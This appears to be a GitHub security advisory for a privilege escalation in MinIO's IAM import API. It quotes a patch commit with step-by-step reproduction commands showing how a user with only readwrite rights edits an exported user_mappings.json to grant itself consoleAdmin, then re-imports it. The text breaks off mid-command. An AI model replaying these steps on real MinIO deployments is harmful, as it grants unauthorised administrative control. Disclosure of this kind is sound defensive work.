GHSA-cwq8-g58r-32hg — MinIO vulnerable to privilege escalation in IAM import API

Affected: Go: github.com/minio/minio

### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Dec 11 18:09:40 2024 -0800

Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam…
